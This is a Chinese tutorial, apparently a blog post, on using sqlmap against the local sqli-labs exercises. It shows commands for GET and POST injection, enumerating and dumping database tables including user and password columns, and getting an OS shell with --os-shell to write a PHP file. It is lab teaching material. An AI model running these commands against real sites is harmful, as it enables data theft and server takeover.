1、get型提交
sqlmap.py -u +网址
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1
参数level
level的等级越高,测试的等级越广,>=2时会检查cookie里的参数
>=3时检查user-agent和refereer
--dbs 查询所有的数据库
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs
-D “数据库名” --tables 展示数据库中所有数据表
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D"test" --tables
-D“数据库名”-T“表名” --columns 展示数据库所有字段
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D"test" -T"test1" --columns
-D“数据库名”-T"数据表"-C“列名(多个列可以用逗号隔开)” --dump 查看数据库的内容
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D"test" -T"test1" -C"user,pass" --dump
2、post提交
抓包并将数据包全部内容存在一个txt中
-r表示加载一个文件,-p指定参数
sqlmap.py -r C:\Users\然而琪露诺早已看透了一切\Desktop\test1.txt -p uname --dbs
接下来猜表(--tables)猜列(--columns)
指定参数* 测试这个字段
基本等同于-p+测试字段,但是存在局限性。
--current-db 当前网站使用的数据库
current和db中间没空格!!!
sqlmap.py -r C:\Users\然而琪露诺早已看透了一切\Desktop\test1.txt --current-db
(2)自动搜索表单
扫描用户表单提供的数据 --forms
局限:无法扫描到cookie和头部的数据
-data
sqlmap获取shell
获取shell的前提:
(1)网站数据库必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,PHP主动转义的功能关闭
(4)secure_file_priv无限制
可以使用--is-dba命令查看是否为管理员
e.g.less-2
1、--users查出所有的用户
sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 --users
2、--os-shell --level=3获取shell的命令
sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 --os-shell --level=3
选择php
选择自定义位置
获取shell成功,可以写入一些命令
echo "<?php phpinfo();?>" >>test.php
(写入的语句和>>之间要有空格)
原理:sqlmap新增的tmpubpwk.php将写入的命令运行
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!